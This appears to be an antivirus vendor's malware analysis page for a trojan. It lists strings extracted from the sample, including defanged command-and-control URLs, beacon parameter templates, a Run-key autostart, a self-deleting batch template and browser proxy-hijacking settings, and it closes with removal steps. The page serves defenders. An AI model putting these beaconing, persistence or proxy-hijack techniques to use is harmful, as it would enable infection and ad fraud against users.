win32itunes.exe
win32msmsgs.exe
java.exe
*.log
%s:\windows\system32\%s.tmp
%s:\windows\syswow64\%s.tmp
%s:\WINNT\system32\%s.tmp
%s:\WINNT\syswow64\%s.tmp
Find Temporary files is %d
cannot open files %s, Open next files ?
{A1D429DE-B782-4253-84AD-6E09A8438AD5}
\Windows NT
Software\Microsoft\Windows\CurrentVersion\Run
%s\%s
%s.%s
stor.cfg
exec%s
{35BCA615-C82A-4152-8857-BCC626AE4C8D}
{4D92BB9F-9A66-458f-ACA4-66172A7016D4}
lvvm.exe
{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}
{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}
{6B985724-623F-492e-B0D6-C9715ADE853B}
{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}
Advapi32.dll
%s%s_1
%s_0_%d_%s
%s_%d
%s_%d_%d_%d_%d
%s_%s
hXXp://xprstats.com/k1.php
type=%s&system=na&id=%s&status=%s
t=st&q=%s
%s?tq=%s
TMFLDMN%d
id=%s&p3=0&p4=0&hwid=%s&c=%d&nax=7&ver=120
%s_%s_%d
_1_%d
_2_%d
_3_%d
_4_%d
opalimanos.com
dudlik-munik.com
kupinosis.com
enotusfed.com
zipper-sys.com
gummisbooki.com
onlinepdahelpforyou.com
remarkreddomas.com
transfersakkonline.com
backupdomaintolevel.com
SELECT_RESERV_SRV_%d
hXXp://%s.%s
%s_%d_%s
id=%s&c=%d
%s_%d_%d_%d
%s_%d_%d
%s %s
%s start%s%c%s
c1.exe
c2.exe
c3.exe
DWN_CON_STRP_%d_%s
hXXp://
hXXp://%d.ctrl.%s
logo.png
img/135.png
img/136.png
t=%s&p4=0&q=%s&z22=0&s=%d&hrs=%d
t=%s&q=&s=%d&hrs=%d
%s/%s?sv=%d&tq=%s
%s:%d/%s?sv=%d&tq=%s
hXXp://binghamtonschools.org/images/ace/1/ace_1101278014_1314729789.jpg
hXXp://binghamtonschools.org/images/297893.jpg
hXXp://binghamtonschools.org/images/297894.jpg
hXXp://alleducationalsoftware.com/creditcardlogos.gif
hXXp://alleducationalsoftware.com/creditcard.png
hXXp://alleducationalsoftware.com/creditcard2.png
hXXp://patentgenius.com/temp/head.png
hXXp://patentgenius.com/132.gif
hXXp://patentgenius.com/133.gif
hXXp://freedownload3.com/screenshot/4/s/89_3276.gif
hXXp://freedownload3.com/screenshot/4/s/89_3277.gif
hXXp://freedownload3.com/screenshot/4/s/89_3278.gif
hXXp://istockanalyst.com/png/intel.gif
hXXp://istockanalyst.com/png/intel.jpg
hXXp://istockanalyst.com/12.jpg
hXXp://complaintsboard.com/complaints/logo.png
hXXp://complaintsboard.com/complaints/zip.png
hXXp://complaintsboard.com/complaints/rar.png
hXXp://highspeedinternetlosangeles.webnode.com/news/1.cgi
hXXp://highspeedinternetlosangeles.webnode.com/news/1.php
hXXp://highspeedinternetlosangeles.webnode.com/news/2.php
hXXp://newworldorderreport.com/favicon.ico
hXXp://newworldorderreport.com/img/3421.png
hXXp://newworldorderreport.com/img/3422.png
hXXp://jointhenewworldorder.com/images/pages.jpg
hXXp://jointhenewworldorder.com/images/pages.png
hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame6.png
hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame7.png
hXXp://cdn.adventofdeception.com/logo.png
t=t&hrs=%d&q=id=1000&ver=%s&s=%d
t=ip&hrs=%d&q=&s=1
%s?sv=%d&tq=%s
\bl%d_64.bat
del "%s"
if exist "%s" goto a
cmd.exe /c "%s"
%s.zl
GET %s HTTP/1.1
Host: %s
User-Agent: chrome/9.0
POST %s HTTP/1.1
Content-Length: %u
HTTP/1.0 200 OK
HTTP/1.1 200 OK
{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d
{C66E79CE-8935-4ed9-A6B1-4983619CB925}
{61B98B86-5F44-42b3-BCA1-33904B067B81}
{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}
{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
ahst.lni
milktoyoustudios.com
hXXp://%s/s.php?c=121&id=%s
bigbulkhypnocrys.com
hXXp://xprstats.com/images/logo.png
drweb
id=%s&hwid=%s&ver=%d&os=%s&av=%s&wd=%d&fw=%s&port=%d
t=ml&q=%s
xprstats.com
hXXp://%s%s
%s_1_%d_%s
%s_2_%d_%s
%s_3_%d_%s
%s_4_%d_%s
pmv=2&id=%s&hwid=%s
u.exe
%s up%s
&%s=%s
PRM_LSTN_THIS_PORT
Opera
127.0.0.1
HTTP/1.x
google.com
hXXp://VVV.google.com
HTTP/1.1 302 Found
Location: %s
id=%s&type=%d&ppcid=%s
%s: %s
%s_5_%s
http=127.0.0.1:
prefs.js
Mozilla
"network.proxy.http"
"network.proxy.http_port"
"network.proxy.type"
"127.0.0.1"
%s(%s, %s);
operaprefs.ini
Use HTTP
HTTP server
127.0.0.1:%s
%s=%s
%s:%s
hwid=%s&yui=2&id=%s&step=1&wd=%d&rvn=56&av=%s
id=%s&hwid=%s
exec|%s
http=
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
bing.com
yahoo.com
search.aol.
suche.aol.
searcht2.aol.
.yimg.com
.bing.net
scorecardresearch.com
brightcove.com
.aol.
.atwola.
.ivwbox.
.google
.atdmt.
.abmr.
.tacoda.
.adtechus.
.autodatadirect.
.mapquestapi.
.ggpht.
.virtualearth.
.opera.
.microsoft.
.wsod.
.doubleclick.
.ypcdn.
.truveo.
.tlowdb.
mapq.st
.dartsearch.
.thawte.
http://
bing.com/search
bing.com:80/search
search.yahoo.com/search
%s_1_%s
err%d%s_%d_%d
err0%s_%d_%d
ver=120&system=%d&id=%s&hwid=%s&search=%s&referer=%s&useragent=%s&lang=%s&type=%d
%s:443/%s
%s_2_%s
%s_%s_%s
%s_3_%s
VVV.VVV.ru
hXXps://
.doubleclick.net
doubleclick.net
msn.com
%s_0%d_%d
=='undefined'?'%s':'%s'
.referrer
HTTP/1.0
%s %s %s
hXXp://VVV.google.com/
hXXp://VVV.yahoo.com/
.class
.midi
google_ad.url
google_ad.title
r.msn.com
google_ad.line1
zcÁ
c:\%original file name%.exe
6C10.AD3
%Program Files%\36C10
C:\Users\"%CurrentUserName%"\AppData\Roaming\AAD36
%Program Files%\LP\C71A
.text
`.rdata
@.data
.rsrc
-r4Y}
&;.Mm
Z.nUU`(
@L!
/,.EfhKo;
KERNEL32.dll
GetCPInfo
oleacc.dll
%veWeb
!ËS
GetProcessHeap
RegCreateKeyExA
RegCloseKey
RegOpenKeyExA
RegFlushKey
ShellExecuteA
SHDeleteKeyA
keybd_event
EnumChildWindows
EnumWindows
WinHttpOpen
WinHttpQueryDataAvailable
WinHttpCloseHandle
WinHttpConnect
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
WinHttpOpenRequest
)3<Key
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
KERNEL32.DLL
ADVAPI32.dll
ole32.dll
OLEAUT32.dll
PSAPI.DLL
RASAPI32.dll
RPCRT4.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WINHTTP.dll
WININET.dll
WS2_32.dll
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
mscoree.dll
WUSER32.DLL
\Registry\Machine\System\CurrentControlSet\Services\%s
Dr.Web
mhttp=127.0.0.1:%d
hXXp://VVV.yahoo.com
2.0.2.1

explorer.exe_2632:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
GDI32.dll
USER32.dll
msvcrt.dll
SHLWAPI.dll
SHELL32.dll
ole32.dll
OLEAUT32.dll
EXPLORERFRAME.dll
UxTheme.dll
POWRPROF.dll
dwmapi.dll
slc.dll
gdiplus.dll
Secur32.dll
SSPICLI.DLL
RPCRT4.dll
PROPSYS.dll
QSShM
PSSh^
FtPhq
SSSSh
SShxSc
PSSh,
QPSSSShL
t7WSSh
SSShO
tfSSh
Software\Microsoft\Windows\CurrentVersion\Explorer\StartMenu\StartPanel
kernel32.dll
t.It It
taSSSh
explorer.exe
FtPhO
SSShI
F8SSh
tRSSh
PSSh|$h
PSShL$h
t}SShV
tKSSSh
t SSSh
?.ulf
.ue9]
TaskDialogIndirect
TSAppCMP.DLL
SSShT
PSSShA
SSSh?
SSShB
t.Ht%Ht
SSSShD
WINMM.dll
CFGMGR32.dll
WINSTA.dll
OLEACC.dll
WINBRAND.dll
DUI70.dll
SndVolSSO.DLL
netutils.dll
wkscli.dll
NetGetJoinInformation
ntdll.dll
RegCloseKey
RegCreateKeyW
RegOpenKeyExW
RegCreateKeyExW
RegDeleteKeyExW
RegOpenKeyW
RegQueryInfoKeyW
RegEnumKeyExW
CreateIoCompletionPort
GetWindowsDirectoryW
GetProcessHeap
SetProcessShutdownParameters
OffsetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
EnumChildWindows
GetKeyboardLayout
ActivateKeyboardLayout
GetProcessWindowStation
UnhookWindowsHookEx
SetWindowsHookExW
MsgWaitForMultipleObjectsEx
TileWindows
CascadeWindows
EnumWindows
UnregisterHotKey
RegisterHotKey
GetAsyncKeyState
GetKeyState
MsgWaitForMultipleObjects
ExitWindowsEx
_amsg_exit
_wcmdln
SHDeleteKeyW
SHQueryInfoKeyW
AssocQueryKeyW
ShellExecuteExW
ShellExecuteW
SHFileOperationW
SLGetWindowsInformationDWORD
GdiplusShutdown
explorer.pdb
name="Microsoft.Windows.Shell.explorer"
version="5.1.0.0"
<description>Windows Shell</description>
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<windowsSettings>
<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
{;;;;{;;
I51111111111111.1.1.B
46464444
*,,.,,.,'/'....'/
1888661
A1.<yjjjggbbZYV?=9.=zjjjjgddbabYV>.=||wwwwpggb_a`X.?0......Tmmkj__.<S
k}??F.o
Ja(%F
uz.In
#-.12220 *!
(-12220 
Knmhe.HH
%Mgr.RhY4RfE5Qd:d
2<===@@=
&$%Uooqkezs
['$$#%&(4
5>^666^.>66^6>>>
>>^6^.>^6>
5^66^6>66
6>>6^6^>=>>6>6>
>>^66>6>^6^6^6
>=>>^6>>=
=_>>7>_6_>>>>
>^.>^.6^'
=6^66^66>>
7'''')) 
3'')))33.
.mnnw
4444444444
288888888882
911111111119
,Cÿ>I
..--11///06
%F|aD
%XX^^
%XXX^
%UXXX
!$$$$'$$#$!!"
6****,@=
!!1.WN
!..WKA@?
::8240-)%2/
,-(%(-(%%*%**17
!#)'&4,- 
=$.VP^
0.rJ)I
\.gh.v(sO
W%3UI
0.aT@
%D&PJ
1.JV2
t4%CU
uvm%s|
Ep.SU0
kq.kV
njW%c
 !/.!375
@$@:'&%:
(*),,,0001
!!! ###%%$
n.2.Ýdddddddd
*.UGA
%u}} mtt
&PQMSornurl[
%XR8]
....raK
***.sdR
,-il}
%%%Ìccr`H
./".LMBNmnPPa
.jkL^
45 .WX]n
$$$$!!!!
%%%%$$$$!!!!
&&&&%%%%$$$$!!!!
@6'~@6'~
=4$|=4$|
$$$$""""
%%%%$$$$""""
&&&&%%%%$$$$""""
;2${;2${=4$}
####!!!!
$$$$####!!!!
%%%%$$$$####!!!!
&&&&%%%%$$$$####!!!!
####""""
$$$$####""""
%%%%$$$$####""""
4 4$4(4,4
;#< <8<><]<
; ;(;0;8;
1 1$1(1,1014181<1
3"3)30373>3
70767<7}7
%0,090?0
<$</<8<]<
=0>9>?>[>
5 5&565<5
<&= =4=\=
; ;$;(;,;0;4;8;<;@;
5#5)5:5@5]5
= >(>8>>>
; ;$;(;,;0;4;
323d3m3
3 3%3:3|3
0 1$1(1,10141
9 9$9(9,9
9(:,:0:4:8:<:
1 2$2(2,20242
: :$:(:,:
:(;,;0;4;8;<;
< <$<(<,<
< =$=(=,=0=4=8=<=
2 3$3(3,30343
; ;$;(;,;
;(<,<0<4<8<<<
9":,:^:{:
0$0*01070?0
:$: :1:7:
5"5=5{5=6
UseExecutableForTaskbarGroupIcon
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Software\Microsoft\Windows\CurrentVersion\Explorer
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage
{59031a47-3f72-44a7-89c5-5595fe6b30ee}
imageres.dll
::{E44E5D18-0652-4508-A4E2-8A090067BCB0}
::{26EE0668-A00A-44D7-9371-BEB064C98683}\5\::{D20EA4E1-3957-11d2-A40B-0C5020524153}
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\::{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}
::{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\SearchExtensions
shell:::{e345f35f-9397-435c-8f95-4e922c26259e}
shell:::{daf95313-e44d-46af-be1b-cbacea2c3065}
%s\%s
user.bmp
%s\%s\%s
%s::%s
{A1965210-3A9D-4bca-822B-433645B3F5A2}
%LocalAppData%\Microsoft\Windows\Explorer
Local\ExplorerIsShellMutex
Software\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{EF87B4CB-F2CE-4785-8658-4CA6C63E38C6}\TopViews\{00000000-0000-0000-0000-000000000000}
Software\Policies\Microsoft\Windows\Explorer
Software\Microsoft\Windows\CurrentVersion\RunOnce
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Software\Microsoft\Windows\CurrentVersion\Run
DisabledHotkeys
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DelayedApps
Software\Microsoft\Windows NT\CurrentVersion\Windows,Load
Software\Microsoft\Windows NT\CurrentVersion\Windows
UserChosenExecuteHandlers\%s
Software\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers
Software\Microsoft\Windows\CurrentVersion\ThemeManager
USER32.DLL
Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband
comctl32.dll
Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones
Software\Microsoft\Windows\CurrentVersion\Themes
Software\Microsoft\Windows\CurrentVersion\RunOnceEx
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
system.ini
::{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}
::{2559a1f1-21d7-11d4-bdaf-00c04f60b9f0}
::{26EE0668-A00A-44D7-9371-BEB064C98683}\2\::{A8A91A66-3A7D-4424-8D24-04E180695C7A}
{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
::{0c39a5cf-1a7a-40c8-ba74-8900e6df5fcd}
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Favorites
SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\Performance\Shell\ResponseMonitor
Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
AppEvents\Schemes\Apps\%s\%s\.current
.Default
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\UAS
control.exe
{A4756F80-4AE7-4A1F-A776-F5E9D9B04406}
Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel
Software\Microsoft\Windows\DWM
Microsoft-Windows-DesktopWindowManager-Core-LivePreviewAllowed
Microsoft.Windows.ControlPanel.Taskbar
%systemRoot%\system32\rundll32.exe %systemRoot%\system32\shell32.dll,Options_RunDLL 1
shell32.dll,-40
@explorer.exe,-810
Microsoft.NotificationAreaIcons
timedate.cpl
Software\Microsoft\Windows\CurrentVersion\Policies\System
Software\Microsoft\Windows\CurrentVersion\Explorer\ApplicationDestinations\
HELP_ENTRY_ID_START_MENU_HELP_AND_SUPPORT
WindowsLogon
WindowsLogoff
*PIDx
Windows
SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel
install.exe
@themeui.dll,-853
@themeui.dll,-852
@themeui.dll,-851
@themeui.dll,-850
runonce.exe
NoDataExecutionPrevention
UpdateURL
WindowsUpdate
Software\Microsoft\Windows\CurrentVersion\Explorer\NotificationCustomization
Software\Microsoft\Windows\CurrentVersion\Explorer\Remote\%d
Software\Microsoft\Windows NT\CurrentVersion\Windows,Run
Software\Microsoft\Windows\CurrentVersion\OOBE
Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\NewShortcuts
shell32.dll
Microsoft.UserAccounts
Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage
NewExeName
desk.cpl
Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\FirstFolder
Software\Microsoft\Windows\CurrentVersion\Explorer\Comdlg32\LastVisitedPidlMRULegacy
Software\Microsoft\Windows\CurrentVersion\Explorer\Comdlg32\LastVisitedPidlMRU
Software\Microsoft\Windows\CurrentVersion\Explorer\Comdlg32\OpenSavePidlMRU
Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find Spec MRU
Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
Software\Microsoft\Internet Explorer\TypedURLs
mshelp://windows/?id=c45acd5d-98b5-4245-8ce6-1f7bba654767
hSystem.StructuredQueryType.AllBitsSet
System.StructuredQueryType.AnyBitsSet
System.StructuredQueryType.SortKeyDescription
Accessories\Windows PowerShell\Windows PowerShell.lnk
Administrative Tools\Server Manager.lnk
Windows Media Player.lnk
Accessories\Windows Explorer.lnk
Internet Explorer.lnk
Accessories\Notepad.lnk
Accessories\Command Prompt.lnk
Windows Fax and Scan.lnk
XPS Viewer.lnk
Accessories\displayswitch.lnk
Accessories\Wordpad.lnk
Windows Anytime Upgrade.lnk
{00D8862B-6453-4957-A821-3D98D74C76BE}
Accessories\Accessibility\Magnify.lnk
Accessories\Remote Desktop Connection.lnk
Accessories\Paint.lnk
Accessories\Snipping Tool.lnk
Accessories\Sticky Notes.lnk
Accessories\Calculator.lnk
Media Center.lnk
Accessories\Welcome Center.lnk
Microsoft.Windows.ControlPanel
CLSID\%s\ShellExplorerRoot
AlwaysShowMenus
WebView
AltTab_KeyHookWnd
/globalhotkey
"%systemroot%\system32\magnify.exe"
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system
shell32.dll,WaitForExplorerRestart "
"%systemroot%\system32\rundll32.exe"
%s%d%s
%s, %s, %s
Software\Microsoft\Windows\CurrentVersion\Explorer\NotificationArea\PromotedIcon2
Software\Microsoft\Windows\CurrentVersion\Explorer\NotificationArea\PromotedIcon1
?guid=%s&hwnd=%lu&id=%lu&ecrc=%lu
{00000000-0000-0000-0000-000000000000}
\\?\Volume
mshelp://windows/?id=5de7c31f-1b8b-4431-9d3d-c0994939b186
\\?\UNC\
Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
taskmgr.exe
ShellExecute
Software\Microsoft\Windows\CurrentVersion\Explorer\AppKey\%d
AppEvents\Schemes\Apps\.Default\%ws\.Current
D:(A;;GA;;;SY)(A;;0x%x;;;%s)
D:(A;;GA;;;SY)(A;;0x%x;;;%s)S:(ML;;1;;;LW)
%s%I64u%s
%s%g%s
%s%I64d%s
RunDLL32.EXE Shell32.DLL,ShellExec_RunDLL ?0x%X?%s
RunDLL32.EXE
SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\ControlPanel\NameSpace\{5ea4f148-308c-46d7-98a9-49041b1dd468}
Software\Microsoft\Windows\CurrentVersion\SMDEn
SOFTWARE\Microsoft\Windows\Tablet PC
OEM%d
%s %s
%SystemRoot%\system32\GettingStarted.exe
Microsoft.Windows.GettingStarted
SBOEM%d
Software\Microsoft\Windows\CurrentVersion\Explorer\TBDEn
Software\Microsoft\Windows\CurrentVersion\Explorer\OEMWC
Accessories\Mobility Center.lnk
@%s,%d
WCOEM%d
Software\Microsoft\Windows\CurrentVersion\Explorer\WCDEn
{00021401-0000-0000-C000-000000000046}
Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
StartMenuKeyBoard
StartMenuKeyBoardComposited
201ef99a-7fa0-444c-9399-19ba84f12a1a
%WINDOWS_LONG%
mshelp://windows/?id=83f968d5-844e-408c-a7c4-69ff50f0ff54
@tzres.dll,
\tzres.dll
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
guest.bmp
"? %s"
hXXps://
hXXp://
C:\Windows\explorer.exe
Windows Explorer
6.1.7601.17567 (win7sp1_gdr.110224-1502)
EXPLORER.EXE
Windows
Operating System
6.1.7601.17567

SearchProtocolHost.exe_240:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
USER32.dll
ole32.dll
OLEAUT32.dll
TQUERY.DLL
MSSHooks.dll
IMM32.dll
SHLWAPI.dll
SrchCollatorCatalogInfo
SrchDSSLogin
SrchDSSPortManager
SrchPHHttp
SrchIndexerQuery
SrchIndexerProperties
SrchIndexerPlugin
SrchIndexerClient
SrchIndexerSchema
Msidle.dll
Failed to get REGKEY_FLTRDMN_MS_TO_IDLE, using default
pfps->psProperty.ulKind is LPWSTR but psProperty.lpwstr is NULL or empty
d:\win7sp1_gdr\enduser\mssearch2\common\utils\crchash.cxx
d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrdmn\fltrdaemon.cxx
d:\win7sp1_gdr\enduser\mssearch2\search\common\include\secutil.hxx
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracerhelpers.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp
d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx
RegDeleteKeyW
RegDeleteKeyExW
8%uiP
Invalid parameter passed to C runtime function.
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp
-d-d-d-d-d-d-d-%d
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h
</MSG></TRC>
<MSG>
<ERR> 0xx=
<LOC> %s(%d) </LOC>
tid="0x%x"
pid="0x%x"
tagname="%s"
tagid="0x%x"
el="0x%x"
time="d/d/d d:d:d.d"
logname="%s"
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx
SHELL32.dll
PROPSYS.dll
ntdll.dll
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
ReportEventW
_amsg_exit
MsgWaitForMultipleObjects
SearchProtocolHost.pdb
2 2(20282|2
4%5S5
Software\Microsoft\Windows Search
https
kernel32.dll
msTracer.dll
msfte.dll
lX-X-X-XX-XXXXXX
SOFTWARE\Microsoft\Windows Search
tquery.dll
%s\%s
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Windows Search Service
<Exception><HR>0xx</HR><eip>%p</eip><module>%S</module><line>%d</line></Exception>
advapi32.dll
WAPI-MS-Win-Core-LocalRegistry-L1-1-0.dll
winhttp.dll
Software\Microsoft\Windows Search\Tracing
Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported
Software\Microsoft\Windows Search\Tracing\EventThrottleState
<MSG>
<LOC> %S(%d) </LOC>
tagname="%S"
logname="%S"
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
Microsoft Windows Search Protocol Host
7.00.7601.17610 (win7sp1_gdr.110503-1502)
SearchProtocolHost.exe
Windows
7.00.7601.17610

SearchFilterHost.exe_1256:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
USER32.dll
ole32.dll
OLEAUT32.dll
TQUERY.DLL
IMM32.dll
MSSHooks.dll
mscoree.dll
SHLWAPI.dll
d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrhost\bufstm.cxx
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp
RegDeleteKeyW
RegDeleteKeyExW
8%uiP
d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx
Invalid parameter passed to C runtime function.
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp
-d-d-d-d-d-d-d-%d
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
ReportEventW
_amsg_exit
SearchFilterHost.pdb
version="5.1.0.0"
name="Microsoft.Windows.Search.MSSFH"
<requestedExecutionLevel
3 3(30383|3
kernel32.dll
Software\Microsoft\Windows Search
SOFTWARE\Microsoft\Windows Search
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Windows Search Service
tquery.dll
advapi32.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
<Exception><HR>0xx</HR><eip>%p</eip><module>%S</module><line>%d</line></Exception>
Software\Microsoft\Windows Search\Tracing
Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported
Software\Microsoft\Windows Search\Tracing\EventThrottleState
<MSG>
<ERR> 0xx=
<LOC> %S(%d) </LOC>
tid="0x%x"
pid="0x%x"
tagname="%S"
tagid="0x%x"
el="0x%x"
time="d/d/d d:d:d.d"
logname="%S"
</MSG></TRC>
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
%s\%s
winhttp.dll
Microsoft Windows Search Filter Host
7.00.7601.17610 (win7sp1_gdr.110503-1502)
SearchFilterHost.exe
Windows
7.00.7601.17610


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    5502.tmp:888
    %original file name%.exe:3984
    %original file name%.exe:2528

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\5a2ce8gs.default\prefs.js (9 bytes)
    C:\Windows\System32\config\SOFTWARE (44294 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\AAD36\6C10.AD3 (3950 bytes)
    %Program Files%\LP\C71A\056.exe (268818 bytes)
    C:\$Directory (864 bytes)
    C:\Windows\System32\config\SOFTWARE.LOG1 (34967 bytes)
    %Program Files%\LP\C71A\5502.tmp (12690 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "056.exe" = "%Program Files%\LP\C71A\056.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2025 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now